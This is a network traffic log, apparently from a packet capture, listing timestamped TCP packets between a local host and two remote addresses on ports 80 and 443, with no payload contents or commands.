Dec 23, 2024 06:54:37.016362906 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.016403913 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.017499924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.017549038 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.017611980 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.017657042 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.018704891 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.018759012 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.018805027 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.018850088 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.019929886 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.019975901 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.020045042 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.020088911 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.021137953 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.021182060 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.021238089 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.021276951 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.022360086 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.022406101 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.022459030 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.022496939 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.023570061 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.023617029 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.023674011 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.023725986 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.024772882 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.024820089 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.024874926 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.024919987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.026020050 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.026065111 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.026104927 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.026148081 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.027188063 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.027231932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.027303934 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.027348042 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.028420925 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.028465033 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.028522015 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.028564930 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.029665947 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.029721022 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.029779911 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.029824018 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.030891895 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.030939102 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.030993938 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.031035900 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.032095909 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.032169104 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.032188892 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.032227039 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.033293962 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.033340931 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.033488989 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.033534050 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.034527063 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.034575939 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.034670115 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.034713984 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.035773039 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.035815001 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.035860062 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.035897017 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.036993980 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.037048101 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.037074089 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.037111998 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.038158894 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.038206100 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.038279057 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.038327932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.039360046 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.039412022 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.039437056 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.039478064 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.039489031 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.040608883 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.040657997 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.040683985 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.040719986 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.041815042 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.041862011 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.041894913 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.041939974 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.042941093 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.042988062 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.171144962 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.171181917 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.171273947 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.171292067 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.171586990 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.171602964 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.171637058 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.171650887 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.172724962 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.172740936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.172774076 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.172785997 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.174061060 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.174076080 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.174113035 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.174124956 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.174992085 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.175045967 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.175174952 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.175216913 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.176224947 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.176268101 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.176289082 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.176327944 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.177417994 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.177474976 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.177508116 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.177541018 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.178539991 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.178596020 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.178664923 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.178704023 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.179704905 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.179760933 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.179841042 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.179893017 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.180912018 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.180962086 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.181088924 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.181129932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.182116985 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.182168961 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.182209969 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.182249069 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.183356047 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.183379889 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.183403969 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.183425903 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.184551954 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.184567928 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.184602022 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.184614897 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.185678005 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.185729980 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.185750961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.185792923 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.186887026 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.186935902 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.186965942 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.187002897 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.188030005 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.188080072 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.188143015 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.188184977 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.189209938 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.189254999 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.189287901 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.189327955 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.190433979 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.190486908 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.190560102 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.190599918 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.191637993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.191704035 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.191711903 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.191751003 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.192781925 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.192846060 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.192900896 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.192945004 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.194010019 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.194053888 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.194084883 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.194123030 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.195179939 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.195223093 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.195477962 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.195523977 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.196342945 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.196392059 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.196422100 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.196463108 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.197594881 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.197611094 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.197640896 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.197669983 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.198811054 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.198865891 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.198915958 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.198952913 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.199954033 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.200015068 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.200042009 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.200073957 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.201181889 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.201210022 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.201237917 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.201263905 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.202261925 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.202307940 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.202315092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.202342987 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.203500032 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.203557968 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.203593016 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.203634024 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.204644918 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.204694986 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.204740047 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.204780102 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.205815077 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.205867052 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.205904961 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.205945015 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.207001925 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.207043886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.207072973 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.207110882 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.208154917 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.208203077 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.208265066 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.208304882 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.209335089 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.209392071 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.209420919 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.209454060 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.210644960 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.210691929 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.210730076 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.210769892 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.211769104 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.211819887 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.211862087 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.211899996 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.212989092 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.213042021 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.213057041 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.213095903 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.214128017 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.214174032 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.214247942 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.214291096 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.215306044 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.215368986 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.215447903 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.215495110 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.216270924 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.216357946 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.216541052 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.216583967 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.216619968 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.216659069 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.217833042 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.217885017 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.217900038 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.217940092 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.218380928 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.218406916 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.219018936 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.219084978 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.219089031 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.219130039 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.219188929 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.220063925 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.220110893 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.220268011 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.220315933 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.220968962 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.221101046 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.221117973 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.221230984 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.221278906 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.221338987 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.221376896 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.221474886 CET	49929	443	192.168.2.6	20.198.119.84
Dec 23, 2024 06:54:37.222456932 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.222507954 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.222568035 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.222609043 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.223587036 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.223634958 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.223707914 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.223750114 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.224781036 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.224834919 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.224893093 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.224931002 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.225975037 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.226025105 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.226062059 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.226108074 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.227148056 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.227196932 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.227262020 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.227303028 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.228343010 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.228391886 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.228486061 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.228527069 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.229561090 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.229608059 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.229639053 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.229685068 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.230757952 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.230834961 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.230873108 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.230916023 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.231899977 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.231955051 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.231976986 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.232014894 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.233109951 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.233161926 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.267338037 CET	443	49929	20.198.119.84	192.168.2.6
Dec 23, 2024 06:54:37.363126993 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.363185883 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.363230944 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.363266945 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.363754988 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.363800049 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.363800049 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.363847017 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.364922047 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.364975929 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.365355968 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.365421057 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.365444899 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.365478992 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.366523981 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.366571903 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.366652966 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.366710901 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.367718935 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.367772102 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.367779016 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.367813110 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.368885994 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.368940115 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.369018078 CET	80	49927	185.215.113.16	192.168.2.6
Dec 23, 2024 06:54:37.369066954 CET	49927	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:54:37.370073080 CET	80	49927	185.215.113.16	192.168.2.6
